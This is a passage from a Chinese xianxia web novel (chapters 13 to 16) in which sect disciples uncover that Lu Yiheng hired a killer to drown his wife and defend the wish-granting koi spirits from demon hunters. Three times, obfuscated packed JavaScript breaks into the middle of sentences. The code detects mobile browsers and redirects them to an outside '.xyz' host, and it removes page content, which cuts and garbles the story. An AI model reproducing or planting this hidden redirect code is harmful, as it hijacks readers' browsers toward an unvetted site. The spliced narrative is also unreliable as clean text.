闻了勾唇,收回眼神,继续扮演一个普通的小师妹。 只听温芙说出判断: “是杀手。” 13. 第 13 章 “杀手?” 夏听雪吃惊,也走过来蹲下,凑近看:“有厚茧……长茧子的地方确实很像是经常拿刀的。” 温芙指了指手背:“他的手背和手腕处也有细细的薄茧,一般从袖口用短箭或是飞镖之类的暗器会留下。此人应该是常年用刀,有时会使用暗器。我记得民间有种利刀客,就是专门拿人钱财杀人,惯爱用刀的杀手。” 据她所知,这些利刀客贪财求利,只要钱给够了就会持刀伤人。他们不属于任何组织,行事自由散漫,游走于各地,不受拘束,也很难被官府追查到。 “看看他身上有什么。”夏听雪动起手来,撩开男尸的衣襟,伸手往里面摸了摸,此人腹部上有多处凝固许久的伤痕,斑驳陈旧,胳膊有一些时间更近的,看样子是没少受别人追杀。 她摸到一块硬物,取出一看,是一枚精致小巧的玉佩,只有半个手掌大小,中间镌刻着一个“羽”字。 “这是羽娘子的?”夏听雪抬头看向同门们,“这人还带着羽娘子的信物,我看,他身份是杀手不假,但同羽娘子的关系也能坐实了。此人八成就是羽娘子的情人。” 闻人心点头。 “说不定就是两人苟合许久,起了杀心,想将陆以恒除之而后快,却不想最后被他给反杀。” 夏听雪站起身,拍了拍手上的泥,一本正经道。 听起来很有道理。 但温芙还是觉得不能轻易下这个定论。 “单凭这个也不能说明就是情夫。也许是雇主交付的信物,指示他杀人目标,又或者要他杀完人后带回来以示任务完成的。”意外之意,有可能这杀手本身的目标就是羽娘子,而非与她私会。 闻人心点点头。 这一举动惹怒夏听雪:“闻人心你有没有主见,你到底是哪头的?”不等闻人心辩解,她又道,“三师妹说的也有理,不过我还是觉得更像是情杀。邻里街坊都晓得,陆官人爱妻护妻,他没有买凶杀人的道理。” 温芙也道:“既如此,旁人都说夫妻二人恩爱,那羽娘子不也没有私会情郎的道理?” 夏听雪哑然:“……” 各抒己见。 加上还有闻人心这棵墙头草左摇右摆,拿不定主意,夏听雪心头窝火,朝着一旁看戏一直没有出声的闻了和裴知珩看去:“师弟师妹觉得谁说的最有可能。” 话题忽然剑指看戏的两人。 闻了被打个猝不及防,乖巧摇头:“师姐们都好厉害,我连是不是杀手都看不明白。”车轱辘话盖过二师姐的邀请,但末了,她还是又补了句,“不过我觉得温师姐说的对,也许不该这么快就断定这男子是情夫。” 夏听雪噎住。倒也不是她非要固执己见,只是两边各有观点时,旁人的站队带来的压力让她有种骑虎难下的感觉。比如此刻,哪怕她心里知道温芙说的在理,也想要获得一些无关紧要的认同感。 没关系,小师妹向来喜欢亲近温芙,站在她这边人之常情。 她又将目光投向裴知珩,眯起眼示意他做选择。 裴知珩用扇尖挠了挠额头,绽开笑容:“反正小师姐说的都对。” “……” 好啊好,一个个的都是人情票! 身后空无一人的夏听雪认命,朝闻人心甩去一记眼刀。对方靠近了些,站在她身旁,用行动表示支持,才让她心里好受一点。 “好了,都是些无端猜测。眼下还是先把人找到,陆公子落在妖物手中,随时可能有危险。”温芙起身,俯视着一动不动的男尸,“真相如何,等找到人便都能清楚了。” 闻人心问:“那我们是去?” “换天池。” 两位师姐异口同声。 —— 小雨淅淅沥沥,夹杂着雪花落下。 原先在换天池外嚷嚷着要为锦鲤仙昭雪的百姓们探头探脑,想要看清捉妖师们是如何捕捞这些妖物的。 “杀了它们!杀了锦鲤妖!” 讨伐声此起彼伏,一直没有停下。 “这些人,嘴脸变得真够快的。”夏听雪撇撇嘴,双手抱臂,站在人群之外。 温芙有些意外:“师姐不是一向也觉得要对妖赶尽杀绝吗?” 二师姐对妖恨之入骨,恨不得除尽天下妖,这是朝阳谷众人都知道的。 以往她遇到妖物,一点辩解的余地都不会给对方留,直接拔刀相向,毫不留情。 闻了垂眸,余光看向二师姐。 “妖当然该杀。”夏听雪冷哼,“但我也不会前一秒还对妖感恩戴德地,说实现了愿望,多灵多妙,后一秒就翻脸不认妖了。” 温芙看着换天池边,目光暗下来。 “可是一定要杀吗?” 闻了看着她。 “之前都说,拜完锦鲤仙身上的大病小病没了,许的愿也实现了。除了陆以恒,我们并未看见有锦鲤妖在为祸。况且——”温芙停下来。 哪怕是陆以恒家里那只锦鲤妖,不过也是吓吓他,仍未取他性命。其他的锦鲤妖更甚。 但现在—— 数十名戴着铃铛的捉妖师正在池边布下法器,捕捞池中本已经仓皇逃窜的锦鲤妖,将它们扔到岸上。 离开水的锦鲤扑腾着,鱼尾不停摆动,鱼嘴张合,发出痛苦的哀鸣声,想要逃离这里却又无能为力。 而不过半个手臂长的锦鲤旁却站着高大的捉妖师,手中拿着长剑,嘴里咒诀已出,长剑升起,闪动着银光。 “辛金煅刃,破鳞穿腹——刺!” 长剑直直落下,划过一道刺目的剑光,对准了锦鲤妖。 然而一道银色倏地闪过,撞歪了剑,清脆的碰撞声响起,捉妖师这才看清一支笛子从远处飞来,擦过他的剑尖却仍毫发无损,然后极快拐弯返回,被一只玉白素手握住。 正全力捕捞锦鲤妖的捉妖师们被这突如其来的变故吸引了视线,纷纷看向远处。 逃过一劫的锦鲤妖扭动着身子,但又被另外一个捉妖师阻拦了去路。 “何人阻挠我等捉妖?” 被打断的捉妖师不爽地质问着。 温芙一身洁白长裙,朴素简单却被她穿出高洁温婉的气质,而她手中的长笛通体透明,外层有银白与淡蓝色交织的光晕流转,笛身缠绕着银丝纹路,镶嵌点点星砂,宛若将天上月凝固其中。 “那是谪仙笛?!”捉妖师中有人认了出来,惊呼道。随后引起纷纷议论。 最初那个用五枚铃铛验证锦鲤妖的捉妖师站在最前面,上下打量面前的女子,莞尔:“原来是云梦温氏,失敬了。鄙人南靖梁王之子,梁礼,今日奉百姓之托在此捉拿为祸的锦鲤妖。不知道温姑娘此举是何意?” 南靖梁王。 闻了眸光一闪。 被人认出身份,温芙也并不奇怪。谪仙笛乃温氏宝物,世人皆知,单凭这点便能知晓她是温家人。 对方报了出身姓名,温芙自然也将礼数贯彻到底:“温芙。只是在杀妖之前想先问问阁下,这些锦鲤妖为了什么祸,要对它们赶尽杀绝?” 梁礼似是没想到她会问这种问题,怔愣了一会儿,有些茫然:“这……这妖物岂有放过的道理?” 他看向温芙身边几人,目光在闻了身上落得久了点,很快看见他们都并没有佩戴任何铃铛,蓦然笑了:“诸位有所不知。这些锦鲤妖是从青丘逃亡的漏网之鱼,我等是接到了镇妖司指令诛杀妖邪,师出有名,还望温姑娘莫要扰乱了计划。” “青丘?”温芙一愣。 三百年前被灭族的青丘? 温芙入谷之前听说过。 可谓是人妖两界的大事。 据她所知,青丘狐妖杀人如麻,嗜血如命,拥有毁天灭地的力量,是以当年昆仑虚带领各国捉妖师一齐进攻,废了九牛二虎之力才合力将青丘尽数剿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574213|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灭。而青丘国中不单单只有狐妖一族,还盘踞着其他妖族。 大多都被捉妖师们绳之以法,绞杀干净又或是捉拿关押了。她也是第一次听说还有漏网之鱼。 若这锦鲤妖也是…… 温芙有些动摇。 “不错,青丘狐族作恶多端,这些锦鲤妖侥幸逃命,到换天池里掩人耳目躲起来,竟是藏了百余年,好在我们及时发现。” “可是——”梁礼的话被女子柔柔的声音打断,他挪动视线,看向说话的闻了,“梁师兄还没有回答我师姐的问题。它们为了什么祸事?” 微风拂过,蝉翼纱微微撩起,但仍然将她的下半张脸遮得严严实实。面纱之上的双眼全神贯注地看着梁礼,目光温和,带了点天真的好奇,没有任何让人不适的威胁。 “单单从青丘逃走也算惹祸吗?它们在这里待了几百年,也没听说卫国有多少死在换天池的人呢?”她眨了眨眼,好像真的只是单纯表示疑惑。 却说得梁礼哑然。 “我看你们是想来抢功的吧!”他身边一个挂着三枚青铜铃的捉妖师面露愠色,吼道。 闻了后退了几步,抓住二师姐的胳膊,躲在她身后,像是被吓到了。 夏听雪当即发怒:“吼什么吼!今天这破事我还管定了!这妖你们不能捉!” 对于她的怒火,梁礼依旧保持着面上的礼貌温和,但说的话却完全是相反的意味:“诸位冷静。我们之中好几位玄级五铃卫,真要抢起来,怕伤到你们,得不偿失啊。” 话里话外的意思很明显。 你们打不过,就别在这挑衅丢人现眼了。 “那又如何,今日就当我在这磨炼一番,说不定还能突破一下灵境。”但夏听雪向来是吃软不吃硬,尤其是被人瞧不起的时候。 她摸向背后的刀匣,已经准备蓄势待发。 然而身后的人群先一步爆发出剧烈的动静,哀嚎声中夹杂着惊惧。 几人回头一看,百姓们仓皇逃窜着,凌乱不堪。而引起众人惊慌的罪魁祸首露面。 正是掳走陆以恒的那只锦鲤妖! 她仍是羽娘子的模样,空洞的眼眶已经没有流血,但脸上遍布血痕,反掐着陆以恒的脖子,将他拖着走,一步一步走过来,却是麻木僵硬的。而她左手抱着那个所谓的孩子,嘴里念念有词,似乎浑然不觉周遭被她吓破胆的凡人。 见此情景,捉妖师们已经准备拔剑。 然而更意外的事情发生了。 惊慌失措的百姓们原本是带着铜板来找锦鲤仙祈愿的,这四散开来,一个撞一个,推搡之间有些人接连摔倒,如此以来,身上揣着的铜板纷纷掉出来,撒了一地。 而看见铜板的锦鲤妖们,包括“羽娘子”突然大声尖叫起来,发疯似的挣脱捉妖师的桎梏,汹涌的妖气让他们顿时招架不住,一时间冲倒了好几位捉妖师。 “羽娘子”丢掉了陆以恒和“孩子”,双手捂着耳朵,闭上幸存的那只眼睛,蹲在原地放声大叫。 好像那些铜板是它们的催命符。 温芙反应很快,立刻冲上前将倒地的陆以恒扶起。另外几人也跟上去,守在她身旁,对眼前这局面有些束手无策。 那帮捉妖师已经拔剑与发疯的锦鲤妖们打了起来。 而陆以恒脱离了妖怪的桎梏却没有任何好转,仍旧疯癫地摇头,双手不停地挣扎,胡乱往前抓,差点伤到温芙,好在她躲得够快,只撕开她袖口一小截衣料。 但他仍然没有任何停下的意思。 闻了眸色一暗,指尖夹起飞针,指节一弯一动,飞针便准确无误地扎到他侧腹部,悄无声息,没有引起任何人注意。 中针的陆以恒顿时软下身子,不再那般癫狂,安静下来,只是嘴里还不停地念叨着,无比混乱: “有鬼、是鬼……妖怪是她、她来报仇了,不是我杀的……是我杀的、不是、是我——” 14. 第 14 章 “我想去一趟换天池。” 月色下,女人坐在小院的摇椅上,余光看了眼刚进门的丈夫,对方正板着一张脸,让她有些害怕。 她只能弱弱地提出自己的想法:“前些日子听人说偶尔夜里也能看见锦鲤仙,我想去碰碰运气……” 下一次换天日还有很久才来,她怕自己等不到了。 “真是有病。”男人停住脚步,厉声呵斥,“张郎中都说你这是不治之症了,你还指望拜仙求子?我看你这肚子就是废了,拜什么仙都不管用。” 女人害怕地往后一缩,咬咬唇,快要哭出来。 “哭哭哭,就知道哭!我真是倒了八辈子霉,才娶了你这么一个肺痨鬼!” 话音刚落,便迎来女人不住的咳嗽声,更惹得男人心烦。他眉头紧皱,往后退了好几步,眉宇间尽是嫌恶,张张嘴没再说什么,往屋里走去。 “恒郎——”柔弱的呼唤并没有挽留住他的脚步。 她独自在院里吹了一阵冷风,咳嗽加重才不得不回到空荡荡的屋子。 次日一早,一向对她拜锦鲤仙表示反对的夫君竟是一反常态,主动问起她打算何时去。 “今明两日晚上都去看看,你要……” “我就不去了,铺子里事务繁忙。你自己当心。”陆以恒说他刚好要在城外待上两三天,没法陪她。 但羽娘也不恼,恒郎能关心她已经让她万分喜悦了。就好像他们又回到了她生病之前的样子。 当晚羽娘独自前往换天池,恰逢雨天,又是半夜,换天池根本没有人来。羽娘撑着伞,手里紧紧攥着铜板,在夜幕中缓缓走着。 她蹲在池边,静静等待着。 周围一个来碰运气的人都没有,让她心里更加没底。 也许是别人搞错了,锦鲤仙不会在换天日以外的日子出来……又或许,是她运气不好,没遇上对的时候。 羽娘望着平静的水面,准备再等一会儿就离开,明日再来。 忽然,在她刚要起身时,池面泛起一圈波纹,紧接着,一条闪动着彩色光亮的锦鲤从水中跃出,在半空中划过一道漂亮的弧线。 羽娘第一次看见传闻中的锦鲤仙。 她将铜板投入水中。 在锦鲤落水之前,许下自己的心愿:“信女羽娘求锦鲤仙,保佑我和恒郎能有一个孩子。” 这是她唯一的心愿。 祈祷不治之症能够痊愈太天方夜谭了,她没有这么贪心。 只是自从得了痨病后,她身子太弱,总是花钱买药,给家里增添不少负担,而且郎中说痨病也影响了生育,不一定能有喜。自那以后,恒郎越来越忧愁,像是变了个人,不似从前对她那样温柔似水,他们之间好像因为这些事变得越来越远。 他们成婚三年多,有两年都是恒郎在照顾生病的她。 虽然他表面上再烦躁,也从未有过弃她而去的想法。 羽娘觉得,他不开心也是正常的。他喜欢孩子,她其实也喜欢。 之前她修书给家里,爹娘都说是她的肚子不争气,她光有一手好厨艺套住男人的胃,却少了套住男人心的砝码。阿娘说,没有孩子,男人迟早会变心,她得努力调养身子。 若是被夫家休弃,便是给娘家蒙羞。爹娘让她想办法,但没说给她一个立足的家。 “羽娘啊,你也得为家里想想。你弟弟妹妹年纪也不小了,家里正忙着给他们张罗婚事。你哥哥前不久才刚纳了个小妾,家里实在是容不下更多人了。若是被夫君抛弃,你这可怜姑娘,该往哪去呢?” “这世道,那些个好郎君可容不下再醮妇。” 羽娘将那些嘱托的话暗暗记下。 可是光喝药的效果太差了,也许等到她因痨病而死都没法调理好。 十里乡有人说,锦鲤仙很灵,他家的媳妇在换天日拜过求子后,过两日就诊出了喜脉,生了个大胖小子。 羽娘想去试试。 很多年前她特意带着恒郎去拜锦鲤仙,想求个夫妻和睦,却运气不好没有遇上。 好在这一次,她如愿以偿。 锦鲤跃起又落下,没入水中,消失了踪影。 就在羽娘怀揣着疑惑,不知道自己算不算已经求拜成功时,一道冷冰冰的声音钻入她脑海。 “你没有名字吗?” 她害怕地向四周看了看,只看见水面浮出锦鲤的尾巴,朝她晃动了两下,似乎那声音也是来自于锦鲤仙。 和想象中不一样,冷冷的,带点稚嫩的音色,像是个不与人亲近的少女。 “名字……”羽娘喃喃道,锦鲤仙要她的名字,她竟然都没意识到方才许愿时她也是自称羽娘。 夫君这么叫她,乡里街坊乃至她的家人都这么唤她。 这个称呼已经伴随她很久了,久到她快忘记她自己的名字。 她愣了一会儿,像是迷失在回忆里,找寻了很久,直到一块带迷药的布帕捂住她的口鼻。 羽娘睁大双眼,立刻左右摇晃,挣脱着桎梏,她拼命抓着那只困住自己的胳膊,只感觉到是个粗壮的属于男人的手臂。对方被她的反抗惹恼,又抛弃使用迷药,直接一手掐住她脆弱的脖颈。 她看见了来杀她的人。 陌生,不认识,但突如其来的变故让她连思考对方杀机的时间都没有。 在无法抗拒的力量面前,任何反抗都显得多余且徒劳。 但她没有放弃。 她伸出手抓着,只想要尽最后的力气抓住一丝逃脱的希望。 然而,她的希望破灭了。 对方下了死手,冲着取她的命而来,也拥有着绝对力量让她只能成为任人宰割的鱼肉。而且,她看见了远处站在树荫下的男人。 她的夫君,陆以恒。 就静静地站在那里,离她不近不远,冷漠地注视着,她清晰地看到那股视线,同杀手的掐脖一起让她陷入窒息。 羽娘感觉到自己整个人都软下来,胸腔已经没有了足够的气息支撑,她像是被掏出棉花的枕头,对方手一松,轻易将她推入河中。 她感觉到自己在往下沉,但却使不上任何力气。 男人们的脸不断往后退,淹没在又黑又深的水后,只有一条彩色的锦鲤游到她耳畔,划开水纹,让她感受到水的流动。 那是她死亡前最后的感知。 然后,她闭上眼,只剩下最后一抹意识。 我叫—— 江羽芊。 - “江羽芊明明已经死了!我亲眼看到她、她被推下河淹死,所以、所以这家伙是鬼,是鬼!” 陆以恒已经神志不清,再也戴不上原先那副温良的面具,将一切真相在疯言疯语中抖露出来。 所谓的爱妻疼妻不过是他为自己赚足的名声,内里早已经被这些年花费出去给妻子看病的银钱、无趣枯燥的夫妻生活、外面的花花世界,和他自己的不甘心给腐蚀透彻,要不然也干不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆以恒抬起头,顺着她的眼神看过去,那个拼拼凑凑的“孩子”正在锦鲤妖的怀中安详躺着,四肢垂下来,没有任何生气。 他平静许多后找回来一点点理智。 妖怪这么胡说就罢了,怎么连捉妖师也这么问?这不明摆着的事实吗? 那晚看见“羽娘”在湖水中沉浮的画面又涌上来,让他回忆起当时杀手将她按在水中又推下去的一幕。他真真切切地被吓到了,以为是妻子的鬼魂来找他复仇索命。 什么孩子,都是厉鬼报复他的手段,让他被吓到失心疯。 “不……”陆以恒正要否认,却瞥见闻了的眼睛。 她半蹲着,视线恰好与他平齐。对视的那一瞬,陆以恒好像看到她眸中有一抹红色闪过,很快,他还没来得及看清,失神片刻。 真的是我的孩子吗? 他喃喃道:“是的,这是我和羽娘的孩子。” 话音刚落,“羽娘”痴痴地笑起来,她从腰中锦囊里取出一枚铜板,捧在手心,看着铜板一点点消融,“羽娘”的模样也开始变幻。 属于江羽芊的皮囊褪去,锦鲤妖的本体抽离出来,一个漂亮乖巧的少女站在羽娘的尸身旁边,呆呆地看着闻了:“谢谢你。” 15. 第 15 章 看见锦鲤妖忽然现身,而地上是羽娘早已逝去很久的尸身,温芙了然:“果然是这样。” 闻了噤声。 看来女主角已经猜得八九不离十,就不需要她出面解释了。 其他几人闻言都看向温芙。 “我之前有所耳闻,妖族中有一类可以以他人的欲念为食的妖物。想来这些锦鲤妖也有这样的能力。不过,并非简单地吞噬他人欲念即可,而是要让欲念得以满足。” 比如,一个人的欲念是要吃名贵酒楼的美食,那妖物在等待对方吃到之后便可尽数吞噬其欲念。未被满足的则不能称之为欲念,而是会生出贪念等邪念。 “但这些锦鲤妖又不太一样。” “它们并非主动贪食他人的欲念,而是铜板为介,附着着许愿者所求的欲念,扔进换天池内,被动地先一步吸食,带来的后果便是锦鲤妖们不得不出面去实现对方的愿望。” 这是这些妖物被设下的禁制。若是它们能自由地吸食凡人的欲念,那意味着它们有无尽的力量来源,且不用付出任何代价,因为凡人的欲念是天生的,无限度的。 世间一切运行都是要遵守天道规则的,妖族也不例外。 只有欲念得以满足才能被吸食,但现在因果倒置,锦鲤妖们先行吞噬了许多欲念,若是这些欲念一直得不到满足,就会生出贪念,而贪念并非锦鲤妖们可以承受的,它们反而会遭受反噬。 那只借了羽娘身体的锦鲤妖在一旁听着,也点了点头: “我们都已经是修行数百年的妖怪,到换天池来不过是寻得了一处合适的地方休养生息,本无意与这些凡人接触。” 偏偏换天池每年便会有一次异动,它们在深水底下无法呼吸,也因莫名其妙的异动饱受折磨,只能跃出来喘一口气,游在浅水处。然而,这一跃却成了百姓们所认为的奇观。 自那以后,越来越多的人前来,投掷出一枚又一枚铜板,连着无穷无尽的欲念,让它们被迫当上了实现愿望的神仙。 “欲念如果不尽快得到满足,保不齐哪天就成了邪念,而且到下一次异动,我们不得不出水时又会被更多的欲念给捆绑。”锦鲤妖们莫名其妙地吞噬欲念,还得为之努力使这些人许的愿望成真,好让自己不被反噬。 它们原以为只要单方面维持这样的平衡,也挺好的。 可它们太单纯了。 凡人的欲念是无穷无尽,又天方夜谭的。 许多锦鲤妖未能及时完成愿望而丧命,弄得同伴们惶惶不安。 但它们如今离了换天池哪里都去不成,只能继续忍受着换天池的异动和源源不断的愿望。 “这些年除了换天日,基本上没什么人回来这边,尤其是夜里。” 它们爱水,也爱自由的呼吸,在水里呆久了就总想跳出来看看,但人多的时候很容易被发现,所以前些日子,有同伴悄悄潜出,发现平日深夜不会被人看到,便也有些锦鲤妖跟风,偷偷跳出来。 正在说话的这只就是如此:“但我一出来就被看见了。江羽芊向我许愿,想要一个孩子。” 以往碰上这种求子求姻缘的,锦鲤妖们都是找外力帮忙,或者施点小妖术,比如算好日子,让本来不该相遇的两个人见面,一次次反复试验,让他们遇见能产生爱意的人,如此种种,都是用些取巧的办法。 但更倒霉的事情发生了。 江羽芊死了。 可她的欲念早已经被锦鲤妖吃下。 依然还是得为她实现愿望。 孩子还能从哪来呢? 锦鲤妖想到更讨巧的办法。 江羽芊是不在了,但她的愿望是为了要她和夫君有一个孩子,只要陆以恒能认下孩子,那也算是完成愿望了。 很单纯。 闻了在心里给这些锦鲤妖打上评价。 这些妖怪单纯到没有想过用任何害人的方式去实现所谓的愿望,以解自己的苦,它们所使用的都是些无伤大雅的小把戏。 若是别的妖类看见,恐怕会耻笑它们。 “换天池的异动是什么?”温芙抬眼看向平静的池水,疑惑道。 传闻中的换天池保持着永恒的流淌,不因季节更替变化而改变,平稳安静,不像是有异动的样子。她也感受不到任何其他的气息。 锦鲤妖摇摇头,正想说自己知道的东西很有限,一把剑却横过来,打断了她。 “故事讲完了?” 梁礼冷眼看着他们。 民众早已经四散逃开,只剩下那些捉妖师,方才与发疯的锦鲤妖们缠斗半天,一些受伤被扶到一边休息疗伤,一些则跟在梁礼身后,脸上带着敌意。 他们对所谓锦鲤仙的故事不感兴趣。 “我等奉命捉拿妖物,还请温姑娘莫要再阻挠,否则——”梁礼冷笑一声,手中的剑对准了锦鲤妖的脖颈。 “你们这些捉妖师!屠灭了青丘还不够,还要追着我们不放!”锦鲤妖看着他,眼中愤恨含泪,咬碎了牙般咒骂着,“为何不能给我们一条生路?青丘狐族的命还不够吗!” 身后那些还在岸上的锦鲤妖也纷纷看过来,目不转睛地看着梁礼,目光灼灼,像要将他凿出个窟窿。 “笑话,妖怪还配谈生路?” 但梁礼不为所动,他手腕一挑,长剑不由分说冲着锦鲤妖而去,但又一次被温芙的笛子拦下。通透的笛身见他手中剑击退,碰撞间擦出清脆的声响。 温芙仍然坚持:“若是没有被它们害了性命的人,那我不认为这些妖怪该死。” 闻了看着她,长睫微动。 温芙总是坚守着她自己那点道理,固执但不死板。她愿意为了陌生的人和事出头,哪怕自己没有获取任何一点利益,哪怕自己会因此伤痕累累。 似乎这样的品质就是话本女主所应具备的。 但这些对于闻了来说是最没用的东西。 她不理解,也不想理解。 更搞不懂温芙干嘛要管这一摊烂事。既然陆以恒是雇凶杀妻,又将上门讨债的杀手反杀灭口,当然不会给他们调查清楚这些事的报酬。而所谓吓人的妖怪也只是些锦鲤妖闹了些乌龙,他们捞不到任何好处。 管这些毫无益处。 直接甩手走人才是。 闻了还在心里吐槽。 那只锦鲤妖却悄悄凑近她,眼睛盯着她被衣料遮盖得严严实实的手腕,小声道:“姐姐,你身上的气息好熟悉。” 闻了难得被人叫姐姐,挑眉看了她一眼。 “我见过你手腕上的东西。” “?” 锦鲤妖一脸单纯,不像是说假话。 闻了手里握了一枚铜板,轻轻一抛,在对方惊恐的神色下说道:“在哪呢?” 这一问配上铜板显然带了些恐吓的味道。 好像只要她说的话掺了一丁点假,下一刻闻了就会用铜板对她许愿,许一个她无法完成的愿望,让她自食苦果。 阴险啊。 锦鲤妖咂舌。 她看了看周围还在为捉不捉妖而争吵的几个人,他们都还没发现这里的小动作。她握住闻了另一只手腕,带着她小跑几步,直冲冲地跃入换天池。 乍起的落水声惊动了众人。 师兄师姐们惊讶回神,没见小师妹的身影,慌乱寻找声音来源,大声呼喊她的名字,而原本就离闻了最近的裴知珩则是先一步反应过来,伸手与她的衣摆失之交臂,也扎进水中。 梁礼说起风凉话:“温姑娘可是害了自己人啊。” 落水的闻了被锦鲤妖带着走,但她水性一般,锦鲤妖游得又快又急,水下是她的舒适区,却不是闻了的。她在水下没法开口说话,只能轻轻抽动手腕,以此提示对方慢下来。 冷冽的水灌入耳中,闻了却没有觉得不舒服。 换天池的水依然是冰冷的,但却很柔和。闻了觉得自己像是水面上一叶小舟,池水将她温柔地托起,连续而细腻的一汪水,让她身子得以放松。 锦鲤妖一路带着她往深处去。 她看见了最底下那个泛着淡淡金黄色的东西,镶嵌在底下松软的土里,在昏暗的环境下模样看不真切。 与此同时,她手腕上的手环微微颤动了一下,只有她能明显感觉到的那种动静,像一种细微的来自于灵魂深处的共鸣,让她立刻明白其中的意蕴。 他们要找的在卫国的那片魂核。 就在她眼前。 在换天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15622998|169795||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 池底下。 锦鲤妖松开手,亮盈盈的双眼眨了眨,想要告诉她,她说的地方就是这。 闻了稳住身子,她在水中有点感受不到方向,周围的水虽然能将她托起,但她还是没法找到足够的支撑点,以至于她觉得自己脚步虚浮,只能任由水将她往前推,推至魂核面前。 她感受到手环的躁动,虽然表面上完全看不出什么。 她只是伸出手,那枚一直以来牢牢扎根在水底的魂核就破土而出,在水中划过一道涟漪,散成点点金色的光亮,融进手环中,和原先那枚魂核连接在一起。 这一瞬间,闻了懵懵懂懂感知到一点原因。 师父偏偏要让她保管魂核的原因。 两枚魂核相接后,她有一种微弱的熟悉感。 好像这东西,很早以前她就……见过。 “看吧,我没骗你。换天池的异动就是因为它。”锦鲤妖在水下依然能说话,传到她耳畔声调有些变样,像是小鱼咕噜咕噜冒泡,冒出几个相似的音节,很快,她又继续打量正在神游思考事情的闻了,“我们是不是在哪里见过呢?我总觉得你很熟悉。” 闻了勾唇。 也许吧。 她在心里说,然后伸手摸了摸她的头。 她在水里已经呆了很久,又一口气跟着锦鲤妖下到最底,已经有些头晕目眩起来。如果不知道锦鲤妖是要带她看魂核,并且心思单纯,也许还会觉得这家伙是故意把她带到水里坑害她。 身后裴知珩也游了过来,恰好接住她发软的身子。他一手轻轻揽住她的腰,另一只手娴熟地前后划动,往顶上的光亮处游去。 只留锦鲤妖迷茫地摸了摸自己被揉过的发顶。 她好像知道她是谁了。 - 裴知珩将闻了带到了岸上,两位师姐围过来,去下身上的斗篷将她发抖的身子围住。 “师妹不是昨夜才感染风寒,这下一趟水,肯定受不住。”夏听雪紧皱眉头,从怀里取出取暖石,塞到闻了冰凉的手中。 闻了脸上的面纱已经湿透,掉落了一半,露出面色苍白的脸,她唇色发乌,整个人不住地颤抖着,窝在裴知珩怀里,像只淋湿的小猫,还警惕着周围的一切。 裴知珩的体温能勉强让她找回一点理智。 她抬起手腕,微微睁眼,唇瓣嚅动却什么也没说出来。 在水里的时候她并没有感觉到池水有多刺骨,出来后从手臂开始蔓延到全身,像是将她扔进了冰窟,又反复浸泡在冷水中。 裴知珩将她的手按进怀里,低声同夏听雪说:“东西找到了。” 二师姐眉头微动,反应了一会儿,明白他口中所说的东西。 几人交换眼神。 而一心捉妖的梁礼走上前,还想要插手:“这总能算害人了?害的还是你自家人,温姑娘,这下你没理由阻拦我们捉妖了吧?” 他抬手招了招,身后数十名捉妖师拔剑上前,但却被一道男声呵斥。 闻人心高举着传音玉简。 “慢着。” 闻人语的声音缓缓传出,明明并不严厉,却让众人乖乖停下了脚步。 “算起来,换天池是我朝阳谷的地盘,只当是个给百姓游玩的去处,未曾设立结界阻挠。但这池子还有池子里的东西,卫国要占,南靖要杀——” 闻人语坐在书桌前,一手撑着下巴,看着浮在眼前的玉简,幽幽道:“得问过我朝阳谷的意思。南靖要派人处理,先跟我说说。” 梁礼微愣。 他自然知道了对面的身份。只是有些意外。 原来眼前的温家人现在是朝阳谷谷主的弟子,原来换天池竟然是朝阳谷的。 “原来是朝阳谷闻人仙尊。小辈失敬。只是这换天池内妖物作祟,我等奉镇妖司命令前来清扫干净,虽然——” 他话还没说完,一道刺眼的白光从玉简中传出,再一睁眼,换天池被设下一道结界,将捉妖师们困在外面,震得他胸腔一紧,一口鲜血从喉中咳出。而朝阳谷几位弟子还有那些妖物都好端端地在结界内,漠然地看着他们。 “回去转告那什么破司。” “我的意思就一个字。” “滚。” 16. 第 16 章 朝阳谷谷主都已设下结界,还以不容置喙的态度赶客了,梁礼也不好再赖着脸皮逗留。他紧皱眉头,嘴唇抿成一条直线,目光在结界内的众人身上流转游走许久,最终咬牙切齿:“走!” 其余捉妖师纷纷回头,跟着他离开。 闻人心收回玉简,长舒一口气。 还好他看事情不对就悄悄给师父传音,还得是靠师父出马—— “换天池是朝阳谷的东西,我才能护你们一会儿。等去了南靖,可没这么简单了。”闻人语幽幽声音恰好传来,切断了大师兄那点庆幸的小心思。 “大师兄早就知道换天池是朝阳谷的?”裴知珩挑眉看他,见对方老老实实点头,嘴角抽搐两下,“那你不早说……” 早点亮出这层关系让师父出马,他们哪里还需要废这么多口舌。 闻人心尴尬地摸摸后脑勺,想要解释,但张张嘴又说不出来什么,最后还是传音玉简里的闻人语出声换了个话题。 “这玩意儿真该改进了。”闻人心一手托着下巴,另外一只手握着笔在宣纸上随意地写写画画,余光瞟见被他用灵力托起浮在面前的传音玉简。 “看不见人,说狠话都不够爽。” 他刚才对着空气,感觉自己一点都没发挥出来应有的气势。 